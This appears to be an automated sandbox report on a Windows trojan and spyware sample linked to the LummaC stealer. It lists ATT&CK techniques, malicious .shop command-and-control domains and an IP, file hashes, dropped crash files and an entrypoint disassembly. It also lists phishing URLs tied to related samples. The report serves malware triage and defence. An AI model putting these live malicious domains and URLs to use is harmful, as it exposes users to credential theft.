Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	31 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
iPUk65i3yI.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.microsof	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
strollheavengwu.shop	104.21.15.198	true	true		unknown

Contacted URLs

Name	Malicious	Reputation
incredibleextedwj.shop	true	unknown
shortsvelventysjo.shop	true	unknown
tolerateilusidjukl.shop	true	unknown
liabilitynighstjsko.shop	true	unknown
https://strollheavengwu.shop/api	false	unknown
shatterbreathepsw.shop	true	unknown
demonstationfukewko.shop	true	unknown
productivelookewr.shop	true	unknown
strollheavengwu.shop	true	unknown
alcojoldwograpciw.shop	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	iPUk65i3yI.exe, 00000000.00000003.1714335655.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714405596.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714251006.000000000550F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	iPUk65i3yI.exe, 00000000.00000003.1714335655.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714405596.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714251006.000000000550F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	iPUk65i3yI.exe, 00000000.00000003.1714335655.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714405596.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714251006.000000000550F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	iPUk65i3yI.exe, 00000000.00000003.1714335655.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714405596.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714251006.000000000550F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/apif	iPUk65i3yI.exe, 00000000.00000003.1713448217.0000000002DE6000.00000004.00000020.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1713571924.0000000002DE8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	iPUk65i3yI.exe, 00000000.00000003.1731789075.00000000054F4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.3.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	iPUk65i3yI.exe, 00000000.00000003.1714335655.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714405596.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714251006.000000000550F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/.	iPUk65i3yI.exe, 00000000.00000003.1713448217.0000000002DE6000.00000004.00000020.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1713571924.0000000002DE8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	iPUk65i3yI.exe, 00000000.00000003.1731789075.00000000054F4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	iPUk65i3yI.exe, 00000000.00000003.1713877551.000000000553C000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1713947801.0000000005535000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	iPUk65i3yI.exe, 00000000.00000003.1713877551.000000000553C000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1713947801.0000000005535000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	iPUk65i3yI.exe, 00000000.00000003.1714335655.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714405596.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714251006.000000000550F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	iPUk65i3yI.exe, 00000000.00000003.1732701297.00000000055FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	iPUk65i3yI.exe, 00000000.00000003.1714335655.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714405596.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714251006.000000000550F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	iPUk65i3yI.exe, 00000000.00000003.1731789075.00000000054F4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	iPUk65i3yI.exe, 00000000.00000003.1731789075.00000000054F4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://strollheavengwu.shop/a	iPUk65i3yI.exe, 00000000.00000003.1783248436.0000000002E56000.00000004.00000020.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1783003790.0000000002E4D000.00000004.00000020.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000002.1992466871.0000000002E57000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	iPUk65i3yI.exe, 00000000.00000003.1713947801.0000000005510000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	iPUk65i3yI.exe, 00000000.00000003.1714335655.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714405596.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714251006.000000000550F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	iPUk65i3yI.exe, 00000000.00000003.1713877551.000000000553E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	iPUk65i3yI.exe, 00000000.00000003.1731789075.00000000054F4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	iPUk65i3yI.exe, 00000000.00000003.1713947801.0000000005510000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/apipp	iPUk65i3yI.exe, 00000000.00000002.1992314162.0000000002DE6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	iPUk65i3yI.exe, 00000000.00000003.1732701297.00000000055FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	iPUk65i3yI.exe, 00000000.00000003.1714335655.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714405596.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714251006.000000000550F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/	iPUk65i3yI.exe, 00000000.00000003.1713571924.0000000002DE8000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.15.198	strollheavengwu.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1429931
Start date and time:	2024-04-22 22:26:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	iPUk65i3yI.exe renamed because original name is a hash value
Original Sample Name:	76845f267f56cb0fcc216d4ac9548131.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/5@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 93% Number of executed functions: 38 Number of non-executed functions: 100
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: iPUk65i3yI.exe

Simulations

Behavior and APIs

Time	Type	Description
22:27:03	API Interceptor	7x Sleep call for process: iPUk65i3yI.exe modified
22:27:30	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.15.198	2FjvjcayaH.exe	Get hash	malicious	LummaC	Browse
	qrLdMv1QXG.exe	Get hash	malicious	LummaC	Browse
	LwnI84BBtb.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
strollheavengwu.shop	asbpKOngY0.exe	Get hash	malicious	LummaC	Browse	172.67.163.209
	2FjvjcayaH.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	qrLdMv1QXG.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	file.exe	Get hash	malicious	LummaC	Browse	172.67.163.209
	LwnI84BBtb.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.198

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://www.freelancer.com/users/login-quick.php?token=30b3628412ea618dcc3f414b266ae263302b3e1b43e6d2d885225319dabe8e68&url=https://absoluteepoxyflooring.com.au/0auth&user_id=13769623&expire_at=1569845677&uniqid=13769623-38750-5d42d7ad-e72874f2&linkid=0	Get hash	malicious	HTMLPhisher	Browse	172.67.182.94
	https://www.ticketlike.fun/	Get hash	malicious	Unknown	Browse	104.16.117.116
	asbpKOngY0.exe	Get hash	malicious	LummaC	Browse	172.67.163.209
	file.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	162.159.133.233
	https://secure.rightsignature.com/signers/72685de1-0891-4676-ba51-0639e8aac386/sign?identity_token=e9BkbAE3-a65UvyeRkxL	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://www.canva.com/design/DAGDJh2_984/U9egfHTa_NllUF_zDQk0NA/view?utm_content=DAGDJh2_984&utm_campaign=designshare&utm_medium=link&utm_source=editor/	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://cloudflare-ipfs.com/ipfs/bafybeiagiq7tdzbkrrgr6pdgcm3qpbokwry3qqk2gedyazwwolhwfy4suy/nodex.html#	Get hash	malicious	Unknown	Browse	104.17.64.14
	payment swift.xls	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.206.230
	FINAL CMR.-Transportauftrag Nachlauf new.exe	Get hash	malicious	GuLoader, Remcos	Browse	104.21.60.38
	CE1KVxYp5t.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	asbpKOngY0.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	VdwJB2cS5l.exe	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.15.198
	https://www.epa.gov/climateleadership/simplified-ghg-emissions-calculator	Get hash	malicious	Unknown	Browse	104.21.15.198
	SecuriteInfo.com.Win32.RATX-gen.9491.24773.exe	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.15.198
	https://mota-engil.caf0sa.com/tiyamike.chikabadwa56078874fessdGl5YW1pa2UuY2hpa2FiYWR3YUBtb3RhLWVuZ2lsLnB097140964?5101245168264822=2215800694735574#dGl5YW1pa2UuY2hpa2FiYWR3YUBtb3RhLWVuZ2lsLnB0	Get hash	malicious	Unknown	Browse	104.21.15.198
	Purchase order.exe	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.15.198
	Quotation 20242204.exe	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.15.198
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	104.21.15.198
	launcher.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	ygm2mXUReY.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.15.198

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_iPUk65i3yI.exe_2ec5395f16112ba3e812158ee989f8fd32d1fc_6086caad_64945b72-550f-47ce-b2ed-fb2dd609c044\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9926098330121135
Encrypted:	false
SSDEEP:	96:SPYlw2zsFxhqPxFj7qPcf+QXIDcQBc6mcEJcw35m+HbHg/opAnQPxVg7TFOy4UO1:YCjzlmC0/izt3jxpFPzuiF0Z24IO8H
MD5:	F3AAB371DEFDFFBD8F165C11A52EDBE3
SHA1:	1E3F18F0EDDC2E58CB375A660C8E04B2AF4A9E76
SHA-256:	7195D1BD7A83FB287512CCE5CD346BF5588D9FCE7692B7490E12FF4FD466BD39
SHA-512:	74985C6C2DF69EB91AF67536C88F70874C087862EC3710DD516B8DE7E72AE04B22B8258C98E6608E9790FBB9E53DD55CFC9B5D57469AD27747F9F068C6FDB3D1
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.2.9.1.2.3.1.4.2.2.5.9.7.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.2.9.1.2.3.1.9.3.8.2.1.2.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.4.9.4.5.b.7.2.-.5.5.0.f.-.4.7.c.e.-.b.2.e.d.-.f.b.2.d.d.6.0.9.c.0.4.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.9.5.8.a.c.e.0.-.8.f.a.f.-.4.7.9.8.-.8.e.4.f.-.7.8.d.f.0.6.7.2.d.e.8.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.i.P.U.k.6.5.i.3.y.I...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.b.8.-.0.0.0.1.-.0.0.1.4.-.9.7.b.5.-.f.a.6.c.f.3.9.4.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.5.1.d.3.3.a.c.7.9.7.c.d.4.4.8.f.2.f.5.a.d.9.e.7.8.8.c.9.8.8.0.0.0.0.0.f.f.f.f.!.0.0.0.0.7.a.d.b.a.c.4.4.4.e.a.4.3.6.8.f.d.5.c.1.5.2.0.9.9.e.4.0.3.8.2.e.7.a.1.8.c.a.3.d.!.i.P.U.k.6.5.i.3.y.I...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE13.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Apr 22 20:27:11 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	47062
Entropy (8bit):	2.6828007998606007
Encrypted:	false
SSDEEP:	192:wXsXSjSVF4LydOzBAT0T+5QpFj+KGHhUAcP2NGPzVYzn4O0EH:ybSbZQzBs0tONHdcP2MPBE4z0
MD5:	2B8C485E91F9CCC15BB8D2C751285178
SHA1:	37CD95678749ABA6FBBFC935C20725C214BDC62C
SHA-256:	752771A0FBE895BABAB3ECA88FF76D2F1BB43A4FC34F6C327294D5DFF29E4235
SHA-512:	D9FAFF877646BAF3BDD8421D99B9BBA4440DC6F2AA7CE4743C7B7C920CE7BBBFA2B5B18671549CC452C7BCEB54848BC07944FC6D2C2D86900D9E9EC86863AA6C
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........&f............4...............H.......t...............Z1..........`.......8...........T...........x=..^z..........` ..........L"..............................................................................eJ......."......GenuineIntel............T.............&f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF2E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8334
Entropy (8bit):	3.69406677760908
Encrypted:	false
SSDEEP:	192:R6l7wVeJch6eS6Y90SUvBMvgmfFB2pDO89bpj5sfkj7m:R6lXJC6r6Y+SUJMvgmfFBspjSfIy
MD5:	CDF52D1751A41723C02D173CC67978F0
SHA1:	CDAAEF3A8C67189E24FD0A03961AEFC000250072
SHA-256:	8F6C42A9F2B78A6B3ADCD1C777FF957C90604C9173277CAEB58A3AB5E4842D30
SHA-512:	752D1C3D29DD7E2FCC315B973FD7225CE097BB77DEF64E5484CCEAC19FB36CBD9FB249BD182D5B83AF9282120A65E68075DD6A3CD99EB6898022C28340A5EC8B
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.3.5.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF5D.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.470657867336991
Encrypted:	false
SSDEEP:	48:cvIwWl8zswJg77aI9PUWpW8VY4wYm8M4Jt/FJ+q8KyQ77sd:uIjf2I71N7VrdJVqU7sd
MD5:	C9DEB9E1339CFB39062AF1303DDAE439
SHA1:	A7336F97BB91C1D029ED1E11B398FAA0D49CE45F
SHA-256:	9C997D1D816B2554BAA9AE3D628AC56D5028594F6CCB6CF561F9FE9894CA14F3
SHA-512:	E64684415442BDEC45171B75F0DD0314EDAAEE1754217E0871C58648FD17188C76D80E42ADABD5B37C2BC1D9015BFBEFB85102EC035BB321E1FABF6332CA3C6F
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="291569" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465409429593371
Encrypted:	false
SSDEEP:	6144:NIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNfdwBCswSbz:eXD94+WlLZMM6YFHF+z
MD5:	DA0D216615F89DA6369390EDDE38BB7A
SHA1:	9409AB0CA0B3E0D9B5580A892B6C62B1F491A1C7
SHA-256:	2D6750848A37A5D591464412848FAA96567742A7E29AC6EE5946A7465389A7F9
SHA-512:	DEF7C36AA6E4FD7AE1975D13AB44BD1DE9EF6BEF05A6C513ED99F395C6A59E319503FAF2DAF26CEB60A90D65220BBA572D2D611C208BF78B97FD8FB06C561D3E
Malicious:	false
Reputation:	low
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...t.................................................................................................................................................................................................................................................................................................................................................@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.459637649900326
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	iPUk65i3yI.exe
File size:	370'688 bytes
MD5:	76845f267f56cb0fcc216d4ac9548131
SHA1:	7adbac444ea4368fd5c152099e40382e7a18ca3d
SHA256:	c165f0872716556f3a5612b4f220fea8620b32fc7ff9596fc430f8b9f88b513b
SHA512:	63fb848a46e99f441ef266e8a4dc6f64623a523982955bd032a30664e9a364595e041f91816c3e1fb1d4652c8f9bc9406f9fc710e36bf9aa911541b0437e9189
SSDEEP:	6144:eo4Qn2Rvp2bpnwXk4hJ/T2XHbD2lSUf1yG3MJ:eJQn2Rvp2Vn2t/TsHbDjQyG
TLSH:	5D74E03073E0EC3AD56A4A71C96BC7F05D2FB8622D7496DB3754166F2E312909A3E306
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................S.......E.......B......)................L.......R.......W.....Rich............................PE..L.....Ld...

File Icon


Icon Hash:	6727676783571667

Static PE Info

General

Entrypoint:	0x4015b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x644C1601 [Fri Apr 28 18:52:49 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d10268a82f0ec0b09c4d5e18431c41e9

Entrypoint Preview

Instruction
call 00007FE3F0E0CA00h
jmp 00007FE3F0E08CDDh
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007FE3F0E08E86h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007FE3F0E08EB0h
test ecx, 00000003h
jne 00007FE3F0E08E51h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007FE3F0E08E4Ah
mov eax, dword ptr [ecx-04h]
test al, al
je 00007FE3F0E08E94h
test ah, ah
je 00007FE3F0E08E86h
test eax, 00FF0000h
je 00007FE3F0E08E75h
test eax, FF000000h
je 00007FE3F0E08E64h
jmp 00007FE3F0E08E2Fh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
